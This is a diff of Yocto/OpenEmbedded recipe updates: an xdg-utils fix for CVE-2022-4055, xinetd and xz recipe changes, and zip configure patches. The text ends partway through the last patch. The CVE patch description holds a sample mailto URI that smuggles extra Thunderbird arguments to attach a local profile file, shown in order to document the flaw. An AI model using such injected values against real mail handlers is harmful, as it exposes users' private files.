+--
+GitLab
+
diff --git a/meta/recipes-extended/xdg-utils/xdg-utils/CVE-2022-4055.patch b/meta/recipes-extended/xdg-utils/xdg-utils/CVE-2022-4055.patch
new file mode 100644
index 0000000000..b236030108
--- /dev/null
+++ b/meta/recipes-extended/xdg-utils/xdg-utils/CVE-2022-4055.patch
@@ -0,0 +1,145 @@
+xdg-email does not parse mailto uris properly for thunderbird
+
+When using thunderbird as mailto handler xdg-email translates mailto uris into an 'thunderbird -compose' argument. While to, cc and bcc values are properly enclosed in single quotes this is not the case for subject or body. This breaks functionality and allows to use all thunderbird -compose arguments within a mailto uri, e.g.
+
+xdg-email 'mailto:test@example.com?subject=Test,attachment=~/.thunderbird/profiles.ini,message=/home/test/test.txt'
+
+translates into
+
+thunderbird -compose to='test@example.com,',subject=Test,attachment=~/.thunderbird/profiles.ini,message=/home/test/test.txt
+
+with working attachment and message. (And, yes, ~ expands to the home directory.)
+
+Upstream-Status: Submitted [https://gitlab.freedesktop.org/xdg/xdg-utils/-/issues/205]
+
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+CVE: CVE-2022-4055
+
+
+Index: xdg-utils-1.1.3/scripts/xdg-email.in
+===================================================================
+--- xdg-utils-1.1.3.orig/scripts/xdg-email.in
++++ xdg-utils-1.1.3/scripts/xdg-email.in
+@@ -30,53 +30,6 @@ _USAGE
+
+ #@xdg-utils-common@
+
+-run_thunderbird()
+-{
+- local THUNDERBIRD MAILTO NEWMAILTO TO CC BCC SUBJECT BODY
+- THUNDERBIRD="$1"
+- MAILTO=$(echo "$2" | sed 's/^mailto://')
+- echo "$MAILTO" | grep -qs "^?"
+- if [ "$?" = "0" ] ; then
+- MAILTO=$(echo "$MAILTO" | sed 's/^?//')
+- else
+- MAILTO=$(echo "$MAILTO" | sed 's/^/to=/' | sed 's/?/\&/')
+- fi
+-
+- MAILTO=$(echo "$MAILTO" | sed 's/&/\n/g')
+- TO=$(/bin/echo -e $(echo "$MAILTO" | grep '^to=' | sed 's/^to=//;s/%\(..\)/\\x\1/g' | awk '{ printf "%s,",$0 }'))
+- CC=$(/bin/echo -e $(echo "$MAILTO" | grep '^cc=' | sed 's/^cc=//;s/%\(..\)/\\x\1/g' | awk '{ printf "%s,",$0 }'))
+- BCC=$(/bin/echo -e $(echo "$MAILTO" | grep '^bcc=' | sed 's/^bcc=//;s/%\(..\)/\\x\1/g' | awk '{ printf "%s,",$0 }'))
+- SUBJECT=$(echo "$MAILTO" | grep '^subject=' | tail -n 1)
+- BODY=$(echo "$MAILTO" | grep '^body=' | tail -n 1)
+-
+- if [ -z "$TO" ] ; then
+- NEWMAILTO=
+- else
+- NEWMAILTO="to='$TO'"
+- fi
+- if [ -n "$CC" ] ; then
+- NEWMAILTO="${NEWMAILTO},cc='$CC'"
+- fi
+- if [ -n "$BCC" ] ; then
+- NEWMAILTO="${NEWMAILTO},bcc='$BCC'"
+- fi
+- if [ -n "$SUBJECT" ] ; then
+- NEWMAILTO="${NEWMAILTO},$SUBJECT"
+- fi
+- if [ -n "$BODY" ] ; then
+- NEWMAILTO="${NEWMAILTO},$BODY"
+- fi
+-
+- NEWMAILTO=$(echo "$NEWMAILTO" | sed 's/^,//')
+- DEBUG 1 "Running $THUNDERBIRD -compose \"$NEWMAILTO\""
+- "$THUNDERBIRD" -compose "$NEWMAILTO"
+- if [ $? -eq 0 ]; then
+- exit_success
+- else
+- exit_failure_operation_failed
+- fi
+-}
+-
+ open_kde()
+ {
+ if [ -n "$KDE_SESSION_VERSION" ] && [ "$KDE_SESSION_VERSION" -ge 5 ]; then
+@@ -130,15 +83,6 @@ open_kde()
+
+ open_gnome3()
+ {
+- local client
+- local desktop
+- desktop=`xdg-mime query default "x-scheme-handler/mailto"`
+- client=`desktop_file_to_binary "$desktop"`
+- echo $client | grep -E 'thunderbird|icedove' > /dev/null 2>&1
+- if [ $? -eq 0 ] ; then
+- run_thunderbird "$client" "$1"
+- fi
+-
+ if gio help open 2>/dev/null 1>&2; then
+ DEBUG 1 "Running gio open \"$1\""
+ gio open "$1"
+@@ -159,13 +103,6 @@ open_gnome3()
+
+ open_gnome()
+ {
+- local client
+- client=`gconftool-2 --get /desktop/gnome/url-handlers/mailto/command | cut -d ' ' -f 1` || ""
+- echo $client | grep -E 'thunderbird|icedove' > /dev/null 2>&1
+- if [ $? -eq 0 ] ; then
+- run_thunderbird "$client" "$1"
+- fi
+-
+ if gio help open 2>/dev/null 1>&2; then
+ DEBUG 1 "Running gio open \"$1\""
+ gio open "$1"
+@@ -231,15 +168,6 @@ open_flatpak()
+
+ open_generic()
+ {
+- local client
+- local desktop
+- desktop=`xdg-mime query default "x-scheme-handler/mailto"`
+- client=`desktop_file_to_binary "$desktop"`
+- echo $client | grep -E 'thunderbird|icedove' > /dev/null 2>&1
+- if [ $? -eq 0 ] ; then
+- run_thunderbird "$client" "$1"
+- fi
+-
+ xdg-open "$1"
+ local ret=$?
+
+@@ -364,21 +292,6 @@ while [ $# -gt 0 ] ; do
+ shift
+ ;;
+
+- --attach)
+- if [ -z "$1" ] ; then
+- exit_failure_syntax "file argument missing for --attach option"
+- fi
+- check_input_file "$1"
+- file=`readlink -f "$1"` # Normalize path
+- if [ -z "$file" ] || [ ! -f "$file" ] ; then
+- exit_failure_file_missing "file '$1' does not exist"
+- fi
+-
+- url_encode "$file"
+- options="${options}attach=${result}&"
+- shift
+- ;;
+-
+ -*)
+ exit_failure_syntax "unexpected option '$parm'"
+ ;;
diff --git a/meta/recipes-extended/xdg-utils/xdg-utils_1.1.3.bb b/meta/recipes-extended/xdg-utils/xdg-utils_1.1.3.bb
index d371c5c28c..4d93180535 100644
--- a/meta/recipes-extended/xdg-utils/xdg-utils_1.1.3.bb
+++ b/meta/recipes-extended/xdg-utils/xdg-utils_1.1.3.bb
@@ -20,6 +20,8 @@ LIC_FILES_CHKSUM = "file://LICENSE;md5=a5367a90934098d6b05af3b746405014"
SRC_URI = "https://portland.freedesktop.org/download/${BPN}-${PV}.tar.gz \
file://0001-Reinstate-xdg-terminal.patch \
file://0001-Don-t-build-the-in-script-manual.patch \
+ file://1f199813e0eb0246f63b54e9e154970e609575af.patch \
+ file://CVE-2022-4055.patch \
"
SRC_URI[md5sum] = "902042508b626027a3709d105f0b63ff"
@@ -34,4 +36,4 @@ inherit autotools-brokensep features_check
REQUIRED_DISTRO_FEATURES = "x11"
DEPENDS = "xmlto-native libxslt-native"
-RDEPENDS_${PN} += "xprop"
+RDEPENDS:${PN} += "xprop"
diff --git a/meta/recipes-extended/xinetd/xinetd_2.3.15.4.bb b/meta/recipes-extended/xinetd/xinetd_2.3.15.4.bb
index 4f0f9531a1..72eb1ae067 100644
--- a/meta/recipes-extended/xinetd/xinetd_2.3.15.4.bb
+++ b/meta/recipes-extended/xinetd/xinetd_2.3.15.4.bb
@@ -1,14 +1,13 @@
SUMMARY = "Socket-based service activation daemon"
HOMEPAGE = "https://github.com/xinetd-org/xinetd"
+DESCRIPTION = "xinetd is a powerful replacement for inetd, xinetd has access control mechanisms, extensive logging capabilities, the ability to make services available based on time, can place limits on the number of servers that can be started, and has deployable defence mechanisms to protect against port scanners, among other things."
-# xinetd is a BSD-like license
-# Apple and Gentoo say BSD here.
-LICENSE = "BSD"
+LICENSE = "xinetd"
LIC_FILES_CHKSUM = "file://COPYRIGHT;md5=55c5fdf02cfcca3fc9621b6f2ceae10f"
UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>\d+(\.\d+)+)"
-SRC_URI = "git://github.com/openSUSE/xinetd.git;protocol=https \
+SRC_URI = "git://github.com/openSUSE/xinetd.git;protocol=https;branch=master \
file://xinetd.init \
file://xinetd.default \
file://xinetd.service \
@@ -18,9 +17,12 @@ SRCREV = "6a4af7786630ce48747d9687e2f18f45ea6684c4"
S = "${WORKDIR}/git"
+# https://github.com/xinetd-org/xinetd/pull/10 is merged into this git tree revision
+CVE_STATUS[CVE-2013-4342] = "fixed-version: Fixed directly in git tree revision"
+
inherit autotools update-rc.d systemd pkgconfig
-SYSTEMD_SERVICE_${PN} = "xinetd.service"
+SYSTEMD_SERVICE:${PN} = "xinetd.service"
INITSCRIPT_NAME = "xinetd"
INITSCRIPT_PARAMS = "defaults"
@@ -28,20 +30,25 @@ INITSCRIPT_PARAMS = "defaults"
PACKAGECONFIG ??= "tcp-wrappers"
PACKAGECONFIG[tcp-wrappers] = "--with-libwrap,,tcp-wrappers"
-CONFFILES_${PN} = "${sysconfdir}/xinetd.conf"
+CFLAGS += "-D_GNU_SOURCE"
+
+CONFFILES:${PN} = "${sysconfdir}/xinetd.conf"
-do_install_append() {
+do_install:append() {
install -d "${D}${sysconfdir}/init.d"
install -d "${D}${sysconfdir}/default"
install -m 755 "${WORKDIR}/xinetd.init" "${D}${sysconfdir}/init.d/xinetd"
install -m 644 "${WORKDIR}/xinetd.default" "${D}${sysconfdir}/default/xinetd"
# Install systemd unit files
- install -d ${D}${systemd_unitdir}/system
- install -m 0644 ${WORKDIR}/xinetd.service ${D}${systemd_unitdir}/system
+ install -d ${D}${systemd_system_unitdir}
+ install -m 0644 ${WORKDIR}/xinetd.service ${D}${systemd_system_unitdir}
sed -i -e 's,@BASE_BINDIR@,${base_bindir},g' \
-e 's,@SBINDIR@,${sbindir},g' \
- ${D}${systemd_unitdir}/system/xinetd.service
+ ${D}${systemd_system_unitdir}/xinetd.service
}
-RDEPENDS_${PN} += "perl"
+# Script for converting inetd.conf files into xinetd.conf files
+PACKAGES =+ "${PN}-xconv"
+FILES:${PN}-xconv = "${bindir}/xconv.pl"
+RDEPENDS:${PN}-xconv += "perl"
diff --git a/meta/recipes-extended/xz/xz/run-ptest b/meta/recipes-extended/xz/xz/run-ptest
new file mode 100644
index 0000000000..cc8ba92016
--- /dev/null
+++ b/meta/recipes-extended/xz/xz/run-ptest
@@ -0,0 +1,26 @@
+#!/bin/bash
+
+ptestdir=$(dirname "$(readlink -f "$0")")
+cd "$ptestdir"/tests || exit
+
+# executables test cases
+tests_exec=$(file $(ls test_*) | grep "ELF" | awk -F: '{print $1}')
+for i in ${tests_exec}; do
+ ./$i
+done
+
+# POSIX shell script test cases
+export srcdir=${ptestdir}/tests
+test_shell="test_files.sh test_scripts.sh test_compress.sh"
+for j in ${test_shell}; do
+ if [ $j == "test_compress.sh" ]; then
+ ./$j create_compress_files
+ else
+ ./$j
+ fi
+ if [ $? -eq 0 ]; then
+ echo "PASS: $j"
+ else
+ echo "FAIL: $j"
+ fi
+done
diff --git a/meta/recipes-extended/xz/xz_5.2.5.bb b/meta/recipes-extended/xz/xz_5.2.5.bb
deleted file mode 100644
index af21b60563..0000000000
--- a/meta/recipes-extended/xz/xz_5.2.5.bb
+++ /dev/null
@@ -1,43 +0,0 @@
-SUMMARY = "Utilities for managing LZMA compressed files"
-HOMEPAGE = "https://tukaani.org/xz/"
-SECTION = "base"
-
-# The source includes bits of PD, GPLv2, GPLv3, LGPLv2.1+, but the only file
-# which is GPLv3 is an m4 macro which isn't shipped in any of our packages,
-# and the LGPL bits are under lib/, which appears to be used for libgnu, which
-# appears to be used for DOS builds. So we're left with GPLv2+ and PD.
-LICENSE = "GPLv2+ & GPL-3.0-with-autoconf-exception & LGPLv2.1+ & PD"
-LICENSE_${PN} = "GPLv2+"
-LICENSE_${PN}-dev = "GPLv2+"
-LICENSE_${PN}-staticdev = "GPLv2+"
-LICENSE_${PN}-doc = "GPLv2+"
-LICENSE_${PN}-dbg = "GPLv2+"
-LICENSE_${PN}-locale = "GPLv2+"
-LICENSE_liblzma = "PD"
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=97d554a32881fee0aa283d96e47cb24a \
- file://COPYING.GPLv2;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
- file://COPYING.GPLv3;md5=d32239bcb673463ab874e80d47fae504 \
- file://COPYING.LGPLv2.1;md5=4fbd65380cdd255951079008b364516c \
- file://lib/getopt.c;endline=23;md5=2069b0ee710572c03bb3114e4532cd84 \
- "
-
-SRC_URI = "https://tukaani.org/xz/xz-${PV}.tar.gz"
-SRC_URI[md5sum] = "0d270c997aff29708c74d53f599ef717"
-SRC_URI[sha256sum] = "f6f4910fd033078738bd82bfba4f49219d03b17eb0794eb91efbae419f4aba10"
-UPSTREAM_CHECK_REGEX = "xz-(?P<pver>\d+(\.\d+)+)\.tar"
-
-CACHED_CONFIGUREVARS += "gl_cv_posix_shell=/bin/sh"
-
-inherit autotools gettext
-
-PACKAGES =+ "liblzma"
-
-FILES_liblzma = "${libdir}/liblzma*${SOLIBS}"
-
-inherit update-alternatives
-ALTERNATIVE_PRIORITY = "100"
-ALTERNATIVE_${PN} = "xz xzcat unxz \
- lzma lzcat unlzma"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/xz/xz_5.4.6.bb b/meta/recipes-extended/xz/xz_5.4.6.bb
new file mode 100644
index 0000000000..da3b75a10b
--- /dev/null
+++ b/meta/recipes-extended/xz/xz_5.4.6.bb
@@ -0,0 +1,69 @@
+SUMMARY = "Utilities for managing LZMA compressed files"
+HOMEPAGE = "https://tukaani.org/xz/"
+DESCRIPTION = "XZ Utils is free general-purpose data compression software with a high compression ratio. XZ Utils were written for POSIX-like systems, but also work on some not-so-POSIX systems. XZ Utils are the successor to LZMA Utils."
+SECTION = "base"
+
+# The source includes bits of PD, GPL-2.0, GPL-3.0, LGPL-2.1-or-later, but the
+# only file which is GPL-3.0 is an m4 macro which isn't shipped in any of our
+# packages, and the LGPL bits are under lib/, which appears to be used for
+# libgnu, which appears to be used for DOS builds. So we're left with
+# GPL-2.0-or-later and PD.
+LICENSE = "GPL-2.0-or-later & GPL-3.0-with-autoconf-exception & LGPL-2.1-or-later & PD"
+LICENSE:${PN} = "GPL-2.0-or-later"
+LICENSE:${PN}-dev = "GPL-2.0-or-later"
+LICENSE:${PN}-staticdev = "GPL-2.0-or-later"
+LICENSE:${PN}-doc = "GPL-2.0-or-later"
+LICENSE:${PN}-dbg = "GPL-2.0-or-later"
+LICENSE:${PN}-locale = "GPL-2.0-or-later"
+LICENSE:liblzma = "PD"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=d4378ea9d5d1fc9ab0ae10d7948827d9 \
+ file://COPYING.GPLv2;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ file://COPYING.GPLv3;md5=1ebbd3e34237af26da5dc08a4e440464 \
+ file://COPYING.LGPLv2.1;md5=4fbd65380cdd255951079008b364516c \
+ file://lib/getopt.c;endline=23;md5=2069b0ee710572c03bb3114e4532cd84 \
+ "
+
+SRC_URI = "https://github.com/tukaani-project/xz/releases/download/v${PV}/xz-${PV}.tar.gz \
+ file://run-ptest \
+ "
+SRC_URI[sha256sum] = "aeba3e03bf8140ddedf62a0a367158340520f6b384f75ca6045ccc6c0d43fd5c"
+UPSTREAM_CHECK_REGEX = "releases/tag/v(?P<pver>\d+(\.\d+)+)"
+UPSTREAM_CHECK_URI = "https://github.com/tukaani-project/xz/releases/"
+
+CACHED_CONFIGUREVARS += "gl_cv_posix_shell=/bin/sh"
+
+inherit autotools gettext ptest
+
+PACKAGES =+ "liblzma"
+
+FILES:liblzma = "${libdir}/liblzma*${SOLIBS}"
+
+inherit update-alternatives
+ALTERNATIVE_PRIORITY = "100"
+ALTERNATIVE:${PN} = "xz xzcat unxz \
+ lzma lzcat unlzma"
+
+BBCLASSEXTEND = "native nativesdk"
+
+RDEPENDS:${PN}-ptest += "bash file"
+
+do_compile_ptest() {
+ oe_runmake check TESTS=
+}
+
+do_install_ptest () {
+ install -d ${D}${PTEST_PATH}/tests
+ find ${B}/tests/.libs -type f -executable -exec cp {} ${D}${PTEST_PATH}/tests \;
+ cp ${B}/config.h ${D}${PTEST_PATH}
+ for i in files xzgrep_expected_output test_files.sh test_scripts.sh test_compress.sh; do
+ cp -r ${S}/tests/$i ${D}${PTEST_PATH}/tests
+ done
+ mkdir -p ${D}${PTEST_PATH}/src/xz
+ ln -s ${bindir}/xz ${D}${PTEST_PATH}/src/xz/xz
+ mkdir -p ${D}${PTEST_PATH}/src/xzdec
+ ln -s ${bindir}/xzdec ${D}${PTEST_PATH}/src/xzdec/xzdec
+ mkdir -p ${D}${PTEST_PATH}/src/scripts
+ ln -s ${bindir}/xzdiff ${D}${PTEST_PATH}/src/scripts/xzdiff
+ ln -s ${bindir}/xzgrep ${D}${PTEST_PATH}/src/scripts/xzgrep
+}
diff --git a/meta/recipes-extended/zip/zip-3.0/0001-configure-Specify-correct-function-signatures-and-de.patch b/meta/recipes-extended/zip/zip-3.0/0001-configure-Specify-correct-function-signatures-and-de.patch
new file mode 100644
index 0000000000..a4f8382625
--- /dev/null
+++ b/meta/recipes-extended/zip/zip-3.0/0001-configure-Specify-correct-function-signatures-and-de.patch
@@ -0,0 +1,134 @@
+From 8810f2643c9372a8083272dc1fc157427646d961 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Wed, 10 Aug 2022 17:16:23 -0700
+Subject: [PATCH 1/2] configure: Specify correct function signatures and
+ declarations
+
+Include needed system headers in configure tests, this is needed because
+newer compilers are getting stricter about the C99 specs and turning
+-Wimplicit-function-declaration into hard error e.g. clang-15+
+
+Upstream-Status: Inactive-Upstream
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ unix/configure | 79 +++++++++++++++++++++++++++++++++++++++++---------
+ 1 file changed, 66 insertions(+), 13 deletions(-)
+
+diff --git a/unix/configure b/unix/configure
+index 1d9a9bb..f2b3d02 100644
+--- a/unix/configure
++++ b/unix/configure
+@@ -513,21 +513,70 @@ $CC $CFLAGS -c conftest.c >/dev/null 2>/dev/null
+ # Check for missing functions
+ # add NO_'function_name' to flags if missing
+
+-for func in rmdir strchr strrchr rename mktemp mktime mkstemp
+-do
+- echo Check for $func
+- echo "int main(){ $func(); return 0; }" > conftest.c
+- $CC $CFLAGS $LDFLAGS $BFLAG -o conftest conftest.c >/dev/null 2>/dev/null
+- [ $? -ne 0 ] && CFLAGS="${CFLAGS} -DNO_`echo $func | tr '[a-z]' '[A-Z]'`"
+-done
++echo Check for rmdir
++cat > conftest.c << _EOF_
++#include <unistd.h>
++int main(){ rmdir(NULL); return 0; }
++_EOF_
++$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
++[ $? -ne 0 ] && CFLAGS="${CFLAGS} -DNO_RMDIR"
++
++echo Check for strchr
++cat > conftest.c << _EOF_
++#include <string.h>
++int main(){ strchr(NULL,0); return 0; }
++_EOF_
++$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
++[ $? -ne 0 ] && CFLAGS="${CFLAGS} -DNO_STRCHR"
+
++echo Check for strrchr
++cat > conftest.c << _EOF_
++#include <string.h>
++int main(){ strrchr(NULL,0); return 0; }
++_EOF_
++$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
++[ $? -ne 0 ] && CFLAGS="${CFLAGS} -DNO_STRRCHR"
++
++echo Check for rename
++cat > conftest.c << _EOF_
++#include <stdio.h>
++int main(){ rename(NULL,NULL); return 0; }
++_EOF_
++$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
++[ $? -ne 0 ] && CFLAGS="${CFLAGS} -DNO_RENAME"
++
++echo Check for mktemp
++cat > conftest.c << _EOF_
++#include <stdlib.h>
++int main(){ mktemp(NULL); return 0; }
++_EOF_
++$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
++[ $? -ne 0 ] && CFLAGS="${CFLAGS} -DNO_MKTEMP"
++
++echo Check for mktime
++cat > conftest.c << _EOF_
++#include <time.h>
++int main(){ mktime(NULL); return 0; }
++_EOF_
++$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
++[ $? -ne 0 ] && CFLAGS="${CFLAGS} -DNO_MKTIME"
++
++echo Check for mkstemp
++cat > conftest.c << _EOF_
++#include <stdlib.h>
++int main(){ return mkstemp(NULL); }
++_EOF_
++$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
++[ $? -ne 0 ] && CFLAGS="${CFLAGS} -DNO_MKSTEMP"
+
+ echo Check for memset
+-echo "int main(){ char k; memset(&k,0,0); return 0; }" > conftest.c
++cat > conftest.c << _EOF_
++#include <string.h>
++int main(){ char k; memset(&k,0,0); return 0; }
++_EOF_
+ $CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
+ [ $? -ne 0 ] && CFLAGS="${CFLAGS} -DZMEM"
+
+-
+ echo Check for memmove
+ cat > conftest.c << _EOF_
+ #include <string.h>
+@@ -548,7 +597,7 @@ $CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
+ echo Check for errno declaration
+ cat > conftest.c << _EOF_
+ #include <errno.h>
+-main()
++int main()
+ {
+ errno = 0;
+ return 0;
+@@ -625,14 +674,18 @@ CFLAGS="${CFLAGS} ${OPT}"
+
+ echo Check for valloc
+ cat > conftest.c << _EOF_
+-main()
++#include <stdlib.h>
++int main()
+ {
+ #ifdef MMAP
+- valloc();
++ valloc(0);
+ #endif
++ return 0;
+ }
+ _EOF_
+-$CC ${CFLAGS} -c conftest.c > /dev/null 2>/dev/null
++#$CC ${CFLAGS} -c conftest.c > /dev/null 2>/dev/null
++$CC ${CFLAGS} -c conftest.c
++echo "==========================================="
+ [ $? -ne 0 ] && CFLAGS="${CFLAGS} -DNO_VALLOC"
+
+
+--
+2.37.1
+
diff --git a/meta/recipes-extended/zip/zip-3.0/0001-configure-Use-CFLAGS-and-LDFLAGS-when-doing-link-tes.patch b/meta/recipes-extended/zip/zip-3.0/0001-configure-Use-CFLAGS-and-LDFLAGS-when-doing-link-tes.patch
new file mode 100644
index 0000000000..92d0d5db58
--- /dev/null
+++ b/meta/recipes-extended/zip/zip-3.0/0001-configure-Use-CFLAGS-and-LDFLAGS-when-doing-link-tes.patch
@@ -0,0 +1,88 @@
+From ab5df4826c4a532da78828b72a2751c899e27ef2 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Tue, 8 Mar 2022 22:31:21 -0800
+Subject: [PATCH] configure: Use CFLAGS and LDFLAGS when doing link tests
+
+Some case link flags contain important flags which are required during
+linking, link fails otherwise without them, which can result in
+configure detection go wrong, ensure these flags are used along with CC
+when tests involve linking
+
+Upstream-Status: Inactive-Upstream
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ unix/configure | 16 ++++++++--------
+ 1 file changed, 8 insertions(+), 8 deletions(-)
+
+diff --git a/unix/configure b/unix/configure
+index 1bc698b..1d9a9bb 100644
+--- a/unix/configure
++++ b/unix/configure
+@@ -517,14 +517,14 @@ for func in rmdir strchr strrchr rename mktemp mktime mkstemp
+ do
+ echo Check for $func
+ echo "int main(){ $func(); return 0; }" > conftest.c
+- $CC $BFLAG -o conftest conftest.c >/dev/null 2>/dev/null
++ $CC $CFLAGS $LDFLAGS $BFLAG -o conftest conftest.c >/dev/null 2>/dev/null
+ [ $? -ne 0 ] && CFLAGS="${CFLAGS} -DNO_`echo $func | tr '[a-z]' '[A-Z]'`"
+ done
+
+
+ echo Check for memset
+ echo "int main(){ char k; memset(&k,0,0); return 0; }" > conftest.c
+-$CC -o conftest conftest.c >/dev/null 2>/dev/null
++$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
+ [ $? -ne 0 ] && CFLAGS="${CFLAGS} -DZMEM"
+
+
+@@ -533,7 +533,7 @@ cat > conftest.c << _EOF_
+ #include <string.h>
+ int main() { int a; int b = 0; memmove( &a, &b, sizeof( a)); return a; }
+ _EOF_
+-$CC -o conftest conftest.c >/dev/null 2>/dev/null
++$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
+ [ $? -ne 0 ] && CFLAGS="${CFLAGS} -DNEED_MEMMOVE"
+
+
+@@ -542,7 +542,7 @@ cat > conftest.c << _EOF_
+ #include <string.h>
+ int main() { strerror( 0); return 0; }
+ _EOF_
+-$CC -o conftest conftest.c >/dev/null 2>/dev/null
++$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
+ [ $? -ne 0 ] && CFLAGS="${CFLAGS} -DNEED_STRERROR"
+
+ echo Check for errno declaration
+@@ -563,7 +563,7 @@ cat > conftest.c << _EOF_
+ int main() { return closedir(opendir(".")); }
+ _EOF_
+
+-$CC -o conftest conftest.c >/dev/null 2>/dev/null
++$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
+ if [ $? -ne 0 ]; then
+ OPT=""
+ for lib in ndir dir ucb bsd BSD PW x dirent
+@@ -583,9 +583,9 @@ fi
+
+ echo Check for readlink
+ echo "int main(){ return readlink(); }" > conftest.c
+-$CC -o conftest conftest.c >/dev/null 2>/dev/null
++$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
+ if [ $? -ne 0 ]; then
+- $CC -o conftest conftest.c -lseq >/dev/null 2>/dev/null
++ $CC $CFLAGS $LDFLAGS -o conftest conftest.c -lseq >/dev/null 2>/dev/null
+ [ $? -eq 0 ] && LFLAGS2="${LFLAGS2} -lseq"
+ fi
+
+@@ -661,7 +661,7 @@ elif [ -f /xenix ]; then
+ elif uname -X >/dev/null 2>/dev/null; then
+ # SCO shared library check
+ echo "int main() { return 0;}" > conftest.c
+- $CC -o conftest conftest.c -lc_s -nointl >/dev/null 2> /dev/null
++ $CC $CFLAGS $LDFLAGS -o conftest conftest.c -lc_s -nointl >/dev/null 2> /dev/null
+ [ $? -eq 0 ] && LFLAGS2="-lc_s -nointl"
+ else
+ SYSTEM=`uname -s 2>/dev/null` || SYSTEM="unknown"
+--
+2.35.1
+
diff --git a/meta/recipes-extended/zip/zip-3.0/0001-configure-use-correct-CPP.patch b/meta/recipes-extended/zip/zip-3.0/0001-configure-use-correct-CPP.patch
new file mode 100644
index 0000000000..02253f968c
--- /dev/null
+++ b/meta/recipes-extended/zip/zip-3.0/0001-configure-use-correct-CPP.patch
@@ -0,0 +1,47 @@
+From 7a2729ee7f5d9b9d4a0d9b83fe641a2ab03c4ee0 Mon Sep 17 00:00:00 2001
+From: Joe Slater <joe.slater@windriver.com>
+Date: Thu, 24 Feb 2022 17:36:59 -0800
+Subject: [PATCH 1/2] configure: use correct CPP
+
+configure uses CPP to test that two assembler routines
+can be built. Unfortunately, it will use /usr/bin/cpp
+if it exists, invalidating the tests. We use the $CC
+passed to configure.
+
+Upstream-Status: Inappropriate [openembedded specific]
+
+Signed-off-by: Joe Slater <joe.slater@windriver.com>
+---
+ unix/configure | 15 +++++++++------
+ 1 file changed, 9 insertions(+), 6 deletions(-)
+
+diff --git a/unix/configure b/unix/configure
+index 73ba803..7e21070 100644
+--- a/unix/configure
++++ b/unix/configure
+@@ -220,13 +220,16 @@ fi
+ echo Check for the C preprocessor
+ # on SVR4, cc -E does not produce correct assembler files. Need /lib/cpp.
+ CPP="${CC} -E"
++
++# We should not change CPP for yocto builds.
++#
+ # solaris as(1) needs -P, maybe others as well ?
+-[ -f /usr/ccs/lib/cpp ] && CPP="/usr/ccs/lib/cpp -P"
+-[ -f /usr/lib/cpp ] && CPP=/usr/lib/cpp
+-[ -f /lib/cpp ] && CPP=/lib/cpp
+-[ -f /usr/bin/cpp ] && CPP=/usr/bin/cpp
+-[ -f /xenix ] && CPP="${CC} -E"
+-[ -f /lynx.os ] && CPP="${CC} -E"
++# [ -f /usr/ccs/lib/cpp ] && CPP="/usr/ccs/lib/cpp -P"
++# [ -f /usr/lib/cpp ] && CPP=/usr/lib/cpp
++# [ -f /lib/cpp ] && CPP=/lib/cpp
++# [ -f /usr/bin/cpp ] && CPP=/usr/bin/cpp
++# [ -f /xenix ] && CPP="${CC} -E"
++# [ -f /lynx.os ] && CPP="${CC} -E"
+
+ echo "#include <stdio.h>" > conftest.c
+ $CPP conftest.c >/dev/null 2>/dev/null || CPP="${CC} -E"
+--
+2.24.1
+
diff --git a/meta/recipes-extended/zip/zip-3.0/0001-unix-configure-use-_Static_assert-to-do-correct-dete.patch b/meta/recipes-extended/zip/zip-3.0/0001-unix-configure-use-_Static_assert-to-do-correct-dete.patch
new file mode 100644
index 0000000000..106f246a7c
--- /dev/null
+++ b/meta/recipes-extended/zip/zip-3.0/0001-unix-configure-use-_Static_assert-to-do-correct-dete.patch
@@ -0,0 +1,96 @@
+From 9916fc6f1f93f3e092e3c6937c30dc8137c26d34 Mon Sep 17 00:00:00 2001
+From: Chen Qi <Qi.Chen@windriver.com>
+Date: Thu, 15 Jun 2023 18:31:26 +0800
+Subject: [PATCH] unix/configure: use _Static_assert to do correct detection
+
+We're doing cross compilation, running a cross-compiled problem
+on host to detemine feature is not correct. Use _Static_assert
+to do the detection correctly.
+
+Upstream-Status: Inactive-Upstream
+
+Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
+---
+ unix/configure | 42 ++++++++++++------------------------------
+ 1 file changed, 12 insertions(+), 30 deletions(-)
+
+diff --git a/unix/configure b/unix/configure
+index f2b3d02..f917086 100644
+--- a/unix/configure
++++ b/unix/configure
+@@ -361,6 +361,10 @@ cat > conftest.c << _EOF_
+ #include <sys/stat.h>
+ #include <unistd.h>
+ #include <stdio.h>
++
++_Static_assert(sizeof((struct stat){0}.st_uid) == 2, "sizeof st_uid is not 16 bit");
++_Static_assert(sizeof((struct stat){0}.st_gid) == 2, "sizeof st_gid is not 16 bit");
++
+ int main()
+ {
+ struct stat s;
+@@ -385,21 +389,7 @@ if [ $? -ne 0 ]; then
+ echo -- UID/GID test failed on compile - disabling old 16-bit UID/GID support
